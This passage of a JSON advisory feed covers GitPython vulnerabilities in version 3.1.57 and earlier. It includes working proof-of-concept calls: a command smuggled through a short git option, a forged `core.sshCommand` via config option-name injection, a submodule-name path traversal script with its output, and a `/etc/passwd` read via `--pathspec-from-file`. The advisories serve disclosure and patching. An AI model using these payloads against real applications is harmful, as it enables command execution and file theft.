paths.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-19T15:32:33.000Z","withdrawn_at":"2026-09-08T20:54:21.000Z","classification":"GENERAL","cvss_score":7.2,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:N/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-4gmw-gg2m-w46p","https://nvd.nist.gov/vuln/detail/CVE-2026-76219","https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-overwrite-via-read-tree","https://github.com/advisories/GHSA-7jx3-jqcp-hhgc"],"source_kind":"github","identifiers":["GHSA-7jx3-jqcp-hhgc"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T21:00:09.188Z","updated_at":"2026-10-02T15:00:42.476Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03angzLWpxY3AtaGhnY84ABkya","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS03angzLWpxY3AtaGhnY84ABkya","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.1.57"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS03angzLWpxY3AtaGhnY84ABkya/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0zdnJ4LTUyNnItNjRybc4ABkyN","url":"https://github.com/advisories/GHSA-3vrx-526r-64rm","title":"Duplicate Advisory: GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-hmq2-w58f-27jc. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.58 fails to validate submodule names from .gitmodules files, allowing attackers to create Git repositories at arbitrary filesystem paths outside the intended clone directory. Attackers can craft malicious repositories with traversal sequences in submodule names that GitPython processes during submodule initialization, creating attacker-controlled Git repositories at escaped filesystem locations.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-19T15:32:33.000Z","withdrawn_at":"2026-09-08T20:55:04.000Z","classification":"GENERAL","cvss_score":8.4,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:P/VC:N/VI:H/VA:L/SC:N/SI:H/SA:L/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc","https://nvd.nist.gov/vuln/detail/CVE-2026-76222","https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name","https://github.com/advisories/GHSA-3vrx-526r-64rm"],"source_kind":"github","identifiers":["GHSA-3vrx-526r-64rm"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T21:00:09.188Z","updated_at":"2026-10-02T15:00:42.476Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdnJ4LTUyNnItNjRybc4ABkyN","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0zdnJ4LTUyNnItNjRybc4ABkyN","packages":[{"ecosystem":"pypi","package_name":"gitpython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.1.57"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0zdnJ4LTUyNnItNjRybc4ABkyN/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS0yOThoLWpwcTQtbTY2Nc4ABkyf","url":"https://github.com/advisories/GHSA-298h-jpq4-m665","title":"Duplicate Advisory: GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks","description":"## Duplicate Advisory\n\nThis advisory has been withdrawn because it is a duplicate of GHSA-9rj7-rf2p-w77r. This link is maintained to preserve external references.\n\n## Original Description\nGitPython before 3.1.58 contains a remote code execution vulnerability in Repo.init that forwards unsafe git options without validation. Attackers can supply a template parameter pointing to a directory with malicious git hooks that execute arbitrary code when git operations are performed on the initialized repository.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-19T15:32:33.000Z","withdrawn_at":"2026-09-08T20:54:02.000Z","classification":"GENERAL","cvss_score":7.7,"cvss_vector":"CVSS:4.0/AV:N/AC:H/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-9rj7-rf2p-w77r","https://nvd.nist.gov/vuln/detail/CVE-2026-76218","https://www.vulncheck.com/advisories/gitpython-before-remote-code-execution-via-repo-init","https://github.com/advisories/GHSA-298h-jpq4-m665"],"source_kind":"github","identifiers":["GHSA-298h-jpq4-m665"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-09-08T21:00:09.188Z","updated_at":"2026-10-02T15:00:42.477Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yOThoLWpwcTQtbTY2Nc4ABkyf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yOThoLWpwcTQtbTY2Nc4ABkyf","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":null,"vulnerable_version_range":"\u003c= 3.1.57"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yOThoLWpwcTQtbTY2Nc4ABkyf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS13dnBwLThoeDktcDY2as4ABhvf","url":"https://github.com/advisories/GHSA-wvpp-8hx9-p66j","title":"GitPython: Unsafe git option guard bypass via split_single_char_options=False short-option token smuggling enables command execution","description":"## Summary\nThe `check_unsafe_options` guard can be bypassed on every guarded method (clone/clone_from, fetch/pull/push, ls_remote, iter_commits, blame, archive) by combining a single-character kwarg with `split_single_char_options=False`. The guard's candidate list omits the smuggled option, but `transform_kwarg` emits a JOINED `-n\u003cvalue\u003e` argv token that git parses as `--upload-pack=\u003ccmd\u003e`, yielding arbitrary command execution at the default `allow_unsafe_options=False`. This is an incomplete-fix bypass of commit `e8d0fbf7` (the fix for GHSA-r9mr-m37c-5fr3), which only emits value-derived candidates when `split_single_char_options` is True.\n\n## Root Cause\n`_option_candidates` derives value-token candidates only under `if len(key)==1 and split_single_char_options:` (cmd.py:1048, added by `e8d0fbf7`). With `split_single_char_options=False`, `_option_candidates([], {\"n\":\"utouch \u003ccmd\u003e;git-upload-pack\"})` returns only `['-n']` (not on the denylist), so the guard passes. But `transform_kwarg('n', value, split_single_char_options=False)` emits the JOINED token `-nutouch \u003ccmd\u003e;git-upload-pack` (cmd.py:1631). git clusters value-less short flags then parses `-u\u003ccmd\u003e` = `--upload-pack=\u003ccmd\u003e` → command execution. The hardened guard WOULD block the joined token if it saw it — the flaw is it never receives it.\n\n## Impact\nArbitrary OS command execution as the host process (via `--upload-pack`) at default `allow_unsafe_options=False`, affecting all guarded methods that forward kwargs. Precondition: the app forwards a user-controlled kwargs dict containing `split_single_char_options=False` plus a single-char key (same user-dict-forwarding model GHSA-r9mr-m37c-5fr3 accepts).\n\n## Proof of Concept\n```python\nfrom git import Repo\nRepo.clone_from(src, dst,\n    n=\"utouch /tmp/ACE;git-upload-pack\",\n    split_single_char_options=False)   # /tmp/ACE created -\u003e ACE\n```\n\n## Attack Chain\n1. Entry: app forwards user kwargs to `Repo.clone_from(url, path, **kwargs)`: `{split_single_char_options: False, n: 'utouch /tmp/ACE;git-upload-pack'}`.\n2. Check: `check_unsafe_options(_option_candidates([], kwargs), unsafe_git_clone_options)`. Guard: denylist includes `--upload-pack`/`-u`. Bypass proof: `_option_candidates` yields only `['-n']` (value token skipped because `split=False`); guard never sees `-u`.\n3. Sink: `transform_kwarg` emits joined token (cmd.py:1631). argv (observed): `['git','clone','-v','-nutouch /tmp/ACE;git-upload-pack','--','\u003csrc\u003e','\u003cdst\u003e']`.\n4. Impact: git clusters `-n` + `-u\u003ccmd\u003e` → runs upload-pack command → ACE.\n\n## Bypass Evidence\nIndependently reproduced (gate harness, default `allow_unsafe_options=False`): the `split=False` payload created the marker `VH05_GATE_ACE` (ACE); the clone returned normally (guard bypassed). Control: `n='--upload-pack=…'` (split default True) → `UnsafeOptionError: --upload-pack is not allowed`. Fix-commit read: `e8d0fbf7` extends candidates only under `if len(key)==1 and split_single_char_options:` — split=False skips value emission. Also confirmed the earlier clustering-parse fix (commit `56806080`) does not cover this because the guard only ever receives `['-n']`.\n\n## Affected Versions\n`GitPython \u003c= 3.1.57` (code present verbatim on the latest release tag).\n\n## Suggested Fix\nMake `_option_candidates` emit value-derived candidates regardless of `split_single_char_options` (i.e. also for the joined `-n\u003cvalue\u003e` form), OR run `check_unsafe_options` over the fully-transformed argv rather than the reconstructed name-only candidate list.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-07T15:49:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-wvpp-8hx9-p66j","https://github.com/gitpython-developers/GitPython/pull/2204","https://github.com/gitpython-developers/GitPython/commit/96a888f4d782cb2f80452148e48e60ce4af6d541","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58","https://nvd.nist.gov/vuln/detail/CVE-2026-76220","https://www.vulncheck.com/advisories/gitpython-before-command-execution-via-split-single-char-options","https://github.com/advisories/GHSA-wvpp-8hx9-p66j"],"source_kind":"github","identifiers":["GHSA-wvpp-8hx9-p66j","CVE-2026-76220"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-07T16:00:07.808Z","updated_at":"2026-10-02T15:01:21.953Z","epss_percentage":0.0091,"epss_percentile":0.58531,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13dnBwLThoeDktcDY2as4ABhvf","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS13dnBwLThoeDktcDY2as4ABhvf","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.58","vulnerable_version_range":"\u003c= 3.1.57"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS13dnBwLThoeDktcDY2as4ABhvf/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1qbTc4LTlmdnYtbWhncs4ABhve","url":"https://github.com/advisories/GHSA-jm78-9fvv-mhgr","title":"GitPython: git-config OPTION-name injection via =/#/whitespace bypasses name validator, enabling forged core.sshCommand/hooksPath (RCE)","description":"## Summary\nGitPython's config-name validator only neutralizes CR/LF/NUL for the `\"option\"` label; it does not reject `=`, `#`, `;`, `[`, `]`, or whitespace in an **option name**. `write_section` writes the option name verbatim into the config file, so an option name such as `sshCommand = touch \u003ccmd\u003e #` is written as `\\tsshCommand = touch \u003ccmd\u003e # = \u003cvalue\u003e`, which git parses as `core.sshCommand = touch \u003ccmd\u003e` (the trailing `#` comments out the intended value). This forges arbitrary config directives (`core.sshCommand`, `core.hooksPath`, `alias.*`) → RCE on the next git operation. This is a distinct field (option name, not section name) and distinct character class (`=`/`#`/space, not newline/bracket) from GHSA-3rp5-jjmw-4wv2 (section-name bracket injection) and GHSA-mv93-w799-cj2w / GHSA-v87r-6q3f-2j67 (newline injection).\n\n## Root Cause\n`_assure_config_name_safe(name, label)` (`git/config.py:897`) applies the bracket/quote state machine ONLY when `label == \"section\"`; for the `\"option\"` label it falls through with just the `UNSAFE_CONFIG_CHARS_RE = [\\r\\n\\x00]` regex. `write_section` then writes the option name verbatim into `\"\\t%s = %s\\n\"` (config.py:702).\n\n## Impact\nArbitrary git-config directive injection → remote code execution via `core.sshCommand` (fires on any ssh git operation, no staged file needed) or `core.hooksPath` (with a staged hook). Requires the embedding application to forward a caller-influenced OPTION NAME into the config writer (name-control model, the same name-control model accepted by the related published advisories GHSA-3rp5-jjmw-4wv2 and GHSA-mv93-w799-cj2w). Default configuration.\n\n## Proof of Concept\n```python\nwith repo.config_writer() as cw:\n    cw.set_value(\"core\", \"sshCommand = touch /tmp/RCE #\", \"x\")\n# git config --get core.sshCommand  -\u003e  touch /tmp/RCE\n```\n\n## Attack Chain\n1. Entry: app calls config writer with attacker-controlled OPTION name: `set_value(\"core\", \"sshCommand = touch /tmp/RCE #\", \"x\")`.\n2. Check: `_assure_config_name_safe(option, \"option\")` @ config.py. Guard: regex matches only `[\\r\\n\\x00]`; bracket/quote state machine is gated on `label==\"section\"`. Bypass proof: `=`,`#`,space pass → no `ValueError`.\n3. Sink: `write_section` writes `\"\\tsshCommand = touch /tmp/RCE # = x\\n\"` (config.py:702).\n4. Impact: git parses `core.sshCommand=touch /tmp/RCE` → arbitrary code execution on next git op.\n\n## Bypass Evidence\nIndependently reproduced (gate harness): `set_value('core','sshCommand = touch \u003cRCE\u003e #','x')` → no `ValueError`; file line `sshCommand = touch \u003cRCE\u003e # = x`; `git config --get core.sshCommand` → `touch \u003cRCE\u003e` (rc=0). Also verified `core.hooksPath` via both `GitConfigParser` and `repo.config_writer()`. Fix-commit read: bracket/quote checks are inside `if label == \"section\"`; the `\"option\"` label is not covered.\n\n## Affected Versions\n`GitPython \u003c= 3.1.57` (validator present verbatim on the latest release tag).\n\n## Suggested Fix\nApply the section-name safety checks (reject `=`, `#`, `;`, `[`, `]`, whitespace) to the `\"option\"` label as well, or validate the fully-rendered config line after substitution.\n\n---\nReported by **zx (Jace)** — GitHub: @manus-use","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-07T15:46:35.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.8,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-jm78-9fvv-mhgr","https://github.com/gitpython-developers/GitPython/pull/2204","https://github.com/gitpython-developers/GitPython/commit/a495ccd3b547ccd60b2187215823b72a9c0188bf","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58","https://github.com/advisories/GHSA-jm78-9fvv-mhgr"],"source_kind":"github","identifiers":["GHSA-jm78-9fvv-mhgr"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-07T16:00:07.808Z","updated_at":"2026-10-02T15:01:23.526Z","epss_percentage":null,"epss_percentile":null,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qbTc4LTlmdnYtbWhncs4ABhve","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qbTc4LTlmdnYtbWhncs4ABhve","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.58","vulnerable_version_range":"\u003c= 3.1.57"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qbTc4LTlmdnYtbWhncs4ABhve/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1obXEyLXc1OGYtMjdqY84ABhvd","url":"https://github.com/advisories/GHSA-hmq2-w58f-27jc","title":"GitPython: Arbitrary Git Repository Creation Outside the Working Tree via Unvalidated .gitmodules Submodule Name in GitPython","description":"### Summary\nGitPython computes the on-disk location of a submodule's separate Git directory (`.git/modules/\u003cname\u003e`) from the submodule's `.gitmodules` section name with no validation. Because that name is fully attacker-controlled content of a cloned repository, a malicious repository can set a submodule name to a traversal string (e.g. `../../../../home/victim/.something`) and cause GitPython to create and initialize a full Git repository at an attacker-chosen filesystem path outside the intended clone directory. The only precondition is that a victim clones the malicious repository with GitPython and runs submodule initialization (`submodule_update(init=True)` / `sm.update(init=True)`), a very common and often automatic step. Core Git itself already blocks this exact attack class (CVE-2018-11235), but GitPython's independent reimplementation never adopted an equivalent check.\n\n### Details\n`src/GitPython/git/objects/submodule/util.py` `sm_name()` strips the `submodule \"` / `\"` wrapper from a `.gitmodules` `[submodule \"...\"]` header and returns the result unchecked. `Submodule.iter_items()` in `src/GitPython/git/objects/submodule/base.py` reads this via `sm_name(sms)` and assigns it to `sm._name`; unlike the submodule `path`, `name` is never used for a tree lookup, so it is never implicitly validated. `Submodule._module_abspath()` then builds `osp.join(parent_repo.git_dir, \"modules\", name)` - `os.path.join` does not normalize `../` sequences. `Submodule._clone_repo()` passes this value straight to `os.makedirs()` and to `git clone --separate-git-dir=\u003cmodule_abspath\u003e`, creating and populating a full Git repository (objects, refs, hooks, config) at the escaped path. Attack prerequisite: attacker controls a repository the victim clones and initializes submodules for.\n\n### PoC\n1. Environment: Docker image built `FROM python:3.11-slim`, with `git` installed via `apt-get install -y git` (Debian bookworm packaged version, described in the advisory as \"git 2.x\"; the host-side verification separately used system git `2.34.1`, but no exact version is pinned for the git binary inside this Docker image). GitPython is installed inside the container via `pip install /src/GitPython` from this repository's own source, which the advisory states resolved to the officially released `GitPython==3.1.57` and `gitdb==4.0.12`.\n2. Configuration / preconditions: None beyond what's described - the victim must clone the attacker's repository with GitPython and run submodule initialization (`repo.submodules` + `sm.update(init=True)`, equivalent to `git submodule update --init`).\n3. Commands run (quoted verbatim from the advisory's \"Confirmed test run\" section):\n```bash\n$ docker build -f GHSA/testing/Dockerfile -t ghsa-gitpython-poc .\n$ docker run --rm ghsa-gitpython-poc\n```\n(Per the Dockerfile, `docker run` executes `/work/run_all.sh`, which in turn runs `build_attacker_repo.sh`, then `poc_gitpython.py`, then `poc_control_realgit.sh`.)\n4. Full source of the PoC script (`GHSA/testing/poc_gitpython.py`), verbatim:\n```python\n\"\"\"GHSA-001 PoC: GitPython side.\n\nClones the attacker repo and runs the equivalent of\n`git submodule update --init` via GitPython, then checks whether a git\nrepository was created outside the clone directory.\n\"\"\"\nimport os\nimport shutil\n\nimport git\n\nCLONE_DIR = '/work/victim_clone/repo'\nESCAPE_TARGET = '/tmp/gitpython_poc_escaped_root'\n\n\ndef main():\n    shutil.rmtree(os.path.dirname(CLONE_DIR), ignore_errors=True)\n    shutil.rmtree(ESCAPE_TARGET, ignore_errors=True)\n    os.makedirs(os.path.dirname(CLONE_DIR), exist_ok=True)\n\n    print(f'GitPython version: {git.__version__}')\n    repo = git.Repo.clone_from('/work/attacker_repo', CLONE_DIR)\n    print('Cloned into:', repo.working_tree_dir)\n\n    sms = list(repo.submodules)\n    for sm in sms:\n        print('  submodule name:', repr(sm.name))\n        print('  submodule path:', repr(sm.path))\n\n    print('escape_target exists before update:', os.path.exists(ESCAPE_TARGET))\n\n    for sm in sms:\n        try:\n            sm.update(init=True)\n        except Exception as e:\n            print('sm.update raised:', repr(e))\n\n    exists = os.path.exists(ESCAPE_TARGET)\n    print('escape_target exists after update:', exists)\n    if exists:\n        print('escape_target contents:', os.listdir(ESCAPE_TARGET))\n\n    print('POC_RESULT=VULNERABLE' if exists else 'POC_RESULT=SAFE')\n\n\nif __name__ == '__main__':\n    main()\n```\n5. Exact captured terminal output (verbatim, from the original advisory's \"Confirmed test run (Docker, released package)\" section):\n```\n=== GitPython PoC (vulnerable path) ===\nGitPython version: 3.1.57\nCloned into: /work/victim_clone/repo\n  submodule name: '../../../../../../tmp/gitpython_poc_escaped_root/modules_dir'\n  submodule path: 'legit_dir'\nescape_target exists before update: False\nescape_target exists after update: True\nescape_target contents: ['modules_dir']\nPOC_RESULT=VULNERABLE\n\n=== Control: real git CLI on identical repo ===\nwarning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\nwarning: ignoring suspicious submodule name: ../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\nfatal: No url found for submodule path 'legit_dir' in .gitmodules\nCONTROL_RESULT=SAFE (real git correctly refused)\n```\n6. Payload: the attacker rewrites the `.gitmodules` section header from `[submodule \"legit_dir\"]` to `[submodule \"../../../../../../tmp/gitpython_poc_escaped_root/modules_dir\"]` (built by `build_attacker_repo.sh`, part of the harness in `GHSA/testing/`). The malicious part is the `../../../../../../` traversal sequence embedded in the submodule *name* (not the tree-validated `path`), which becomes the on-disk target for the submodule's separate git directory.\n7. Expected vs. observed: A safe implementation (as demonstrated by the real `git` CLI control run) rejects the submodule name with \"ignoring suspicious submodule name\" and refuses to create anything outside the repository. GitPython instead created the escape-target directory and a fully-initialized Git repository at `/tmp/gitpython_poc_escaped_root/modules_dir`, confirmed by `escape_target exists after update: True` and its listed contents.\n8. Security impact demonstrated: arbitrary filesystem directory and Git-repository creation at an attacker-chosen absolute path outside the victim's intended clone directory, populated with attacker-controlled content sourced from the submodule's own (also attacker-controlled) `url`.\n\n### Impact\nPath traversal (CWE-22) / external control of file path (CWE-73) leading to arbitrary directory and Git-repository creation outside the intended clone directory. Integrity impact is High (attacker chooses destination path and, via the submodule URL, much of the written content); Confidentiality impact is None (only creation was demonstrated); Availability impact is Low-Medium (disk-exhaustion potential). No authentication is required; the attacker only needs to control a repository the victim clones and initializes submodules for - a routine, often fully-automatic operation in CI pipelines, IDE integrations, and dependency-management tooling.","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-08-07T15:45:39.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.2,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:N/I:H/A:L","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hmq2-w58f-27jc","https://github.com/gitpython-developers/GitPython/pull/2202","https://github.com/gitpython-developers/GitPython/commit/4299c990e1ca21896f9485277caf7bb0ae5b404c","https://github.com/gitpython-developers/GitPython/commit/e4b8e7d026ca6abb4cf604f8e77093432ce23c06","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58","https://nvd.nist.gov/vuln/detail/CVE-2026-76222","https://github.com/pypa/advisory-database/tree/main/vulns/gitpython/PYSEC-2026-3784.yaml","https://www.vulncheck.com/advisories/gitpython-before-path-traversal-via-gitmodules-submodule-name","https://github.com/advisories/GHSA-hmq2-w58f-27jc"],"source_kind":"github","identifiers":["GHSA-hmq2-w58f-27jc","CVE-2026-76222"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-07T16:00:07.808Z","updated_at":"2026-10-02T15:01:23.526Z","epss_percentage":0.00422,"epss_percentile":0.33789,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obXEyLXc1OGYtMjdqY84ABhvd","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1obXEyLXc1OGYtMjdqY84ABhvd","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.58","vulnerable_version_range":"\u003c= 3.1.57"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1obXEyLXc1OGYtMjdqY84ABhvd/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS1oaDlwLTZ3aDItNG1mY84ABhvc","url":"https://github.com/advisories/GHSA-hh9p-6wh2-4mfc","title":"GitPython: Arbitrary file read via --pathspec-from-file in IndexFile.remove() and Head.checkout()","description":"## Summary\n\n`IndexFile.remove()` and `Head.checkout()` forward `**kwargs` into `git rm` and `git checkout`\nwith no guard. Passing `--pathspec-from-file=\u003cfile\u003e` **together with `--pathspec-file-nul`**\nmakes Git treat the whole file as a single NUL-delimited pathspec, and the unmatched-pathspec\nerror quotes it verbatim. GitPython surfaces that through `GitCommandError.stderr`, so the\nentire contents of a caller-chosen file are returned to the caller in band.\n\nThis is the same primitive as Instance 2 of\n[GHSA-3f7w-8rr8-f37f](https://github.com/advisories/GHSA-3f7w-8rr8-f37f) - `TagReference.create()`\nwith `-F`, arbitrary file read returned in band - at two sites that advisory assessed and\ncleared.\n\n## Prior art, and why I am filing rather than commenting\n\nGHSA-3f7w-8rr8-f37f's sweep table lists these four sites with the assessment\n*\"`--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found\"*:\n\n| Call site | git command | that advisory's assessment |\n|---|---|---|\n| `IndexFile.remove()` | `rm` | `--pathspec-from-file` only reads a pathspec; no write or disclosure primitive found |\n| `IndexFile.move()` | `mv` | same |\n| `HEAD.reset()` | `reset` | same |\n| `HEAD.checkout()` | `checkout` | same |\n\nThat assessment is very nearly right, and I think that is why it held: with\n`--pathspec-from-file` alone, Git splits on newlines and the error quotes only the **first\nline**, which reads as an uninteresting partial. Adding `--pathspec-file-nul` - a sibling flag\nof the same option, and the documented way to handle paths containing newlines - makes the\nwhole file one pathspec.\n\n## Root cause\n\n`git/index/base.py:991-1043`:\n\n```python\ndef remove(self, items, working_tree=False, **kwargs):\n    ...\n    removed_paths = self.repo.git.rm(args, paths, **kwargs).splitlines()   # line 1043\n```\n\n`git/refs/head.py:237-268`:\n\n```python\ndef checkout(self, force: bool = False, **kwargs: Any):\n    ...\n    self.repo.git.checkout(self, **kwargs)                                 # line 268\n```\n\nNeither has an `allow_unsafe_options` parameter or a `check_unsafe_options()` call.\n\n## Proof of concept\n\n```python\nfrom git import Repo\nfrom git.exc import GitCommandError\n\nrepo = Repo(\"/path/to/repo\")\nkw = dict(pathspec_from_file=\"/etc/passwd\", pathspec_file_nul=True)\n\ntry:\n    repo.index.remove([], **kw)          # or: repo.heads[0].checkout(**kw)\nexcept GitCommandError as e:\n    print(e.stderr)                      # \u003c- entire file contents\n```\n\nObserved on published 3.1.57, against a canary file holding three marked lines:\n\n```\n[PASS] IndexFile.remove() -\u003e `git rm` returns ALL 3 canary lines in-band\n       stderr: 'fatal: pathspec 'LINE1-CANARY-4242\n       LINE2-SECRET-7777\n       LINE3-TAIL-9999\n       ' did not match any files'\n[PASS] Head.checkout() -\u003e `git checkout` returns ALL 3 canary lines in-band\n       stderr: 'error: pathspec 'LINE1-CANARY-4242\n       LINE2-SECRET-7777\n       LINE3-TAIL-9999\n       ' did not match any file(s) known to git'\n[PASS] PRECISION: `git status` leaks 0/3 -- not every unguarded site discloses\n[PASS] PRECISION: the GUARDED checkout-index leaks 0/3\n```\n\nThe two precision controls are there so the result is about these sinks and not about the\ncanary being visible everywhere.\n\n## Scope correction to the table above\n\nOf the four sites cleared with that sentence, **two disclose and two do not**:\n\n| Call site | disclosed? |\n|---|---|\n| `IndexFile.remove()` → `git rm` | **yes, full file** |\n| `Head.checkout()` → `git checkout` | **yes, full file** |\n| `HEAD.reset()` → `git reset` | no - `git reset` does not error on unmatched pathspecs |\n| `IndexFile.move()` → `git mv` | no |\n\nThe two negatives are mentioned because \"the dismissal was wrong\" would overstate it: the\ndismissal was wrong for half of what it covered.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-08-07T15:43:56.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.5,"cvss_vector":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N","references":["https://github.com/gitpython-developers/GitPython/security/advisories/GHSA-hh9p-6wh2-4mfc","https://github.com/gitpython-developers/GitPython/pull/2204","https://github.com/gitpython-developers/GitPython/commit/f2550b65bf60ca087190981e2c7b6865e201f40c","https://github.com/gitpython-developers/GitPython/releases/tag/3.1.58","https://nvd.nist.gov/vuln/detail/CVE-2026-76217","https://www.vulncheck.com/advisories/gitpython-before-arbitrary-file-read-via-pathspec-from-file","https://github.com/advisories/GHSA-hh9p-6wh2-4mfc"],"source_kind":"github","identifiers":["GHSA-hh9p-6wh2-4mfc","CVE-2026-76217"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-08-07T16:00:07.808Z","updated_at":"2026-10-02T15:01:23.527Z","epss_percentage":0.00412,"epss_percentile":0.32648,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oaDlwLTZ3aDItNG1mY84ABhvc","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1oaDlwLTZ3aDItNG1mY84ABhvc","packages":[{"ecosystem":"pypi","package_name":"GitPython","versions":[{"first_patched_version":"3.1.58","vulnerable_version_range":"\u003c= 3.1.57"}],"purl":"pkg:pypi/gitpython"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1oaDlwLTZ3aDItNG1mY84ABhvc/related_packages","related_advisories":[]},{"uuid":"GSA_kwCzR0hTQS05cmo3LXJmMnAtdzc3cs4ABhvb","url":"https://github.com/advisories/GHSA-9rj7-rf2p-w77r","title":"GitPython: Unguarded git option forwarding in Repo.init enables arbitrary command execution via --template clone hooks","description":"## Summary\n`Repo.init()` forwards `**kwargs` verbatim to `git init` with no unsafe-option guard and no `allow_unsafe_options` parameter. `git init --template=\u003cdir\u003e` copies `\u003cdir\u003e/hooks/*` into the new repo's `.git/hooks`, so an attacker-controlled `template` 